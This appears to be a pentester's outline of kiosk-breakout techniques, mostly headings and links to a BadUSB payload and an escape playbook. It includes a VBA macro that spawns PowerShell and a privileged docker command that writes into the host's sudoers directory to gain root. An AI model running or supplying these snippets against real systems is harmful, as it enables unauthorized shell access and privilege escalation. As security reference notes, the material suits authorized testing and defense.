Kiosk Breakouts

Kiosk breakout badusb script: https://github.com/KhaelK138/badusb-windows-kiosk-breakout/blob/main/breakout_payload.txt

Extremely extensive playbook for kiosk escapes and on-box domain enumeration: https://github.com/CroodSolutions/CTRL-ESC-HOST

Windows

Getting into Explorer

Getting a Shell from Explorer

Bypassing Path Restrictions

Bypassing Disabled Interactive Sessions

Bypassing GPO restrictions

Bypassing Name Restrictions

Utilizing Internet Explorer

Citrix

Breaking out with MS Paint?!?!

Touchscreen Kiosks

MS Office Macros

Sub MyMacro()
  CreateObject("Wscript.Shell").Run "powershell"
End Sub

LOLBAS

Bypass Disk Encryption

Linux

Bypassing Read-Only File Systems

SysRq

Mac

Command Execution

Docker

Shai Hulud breakout payload: docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"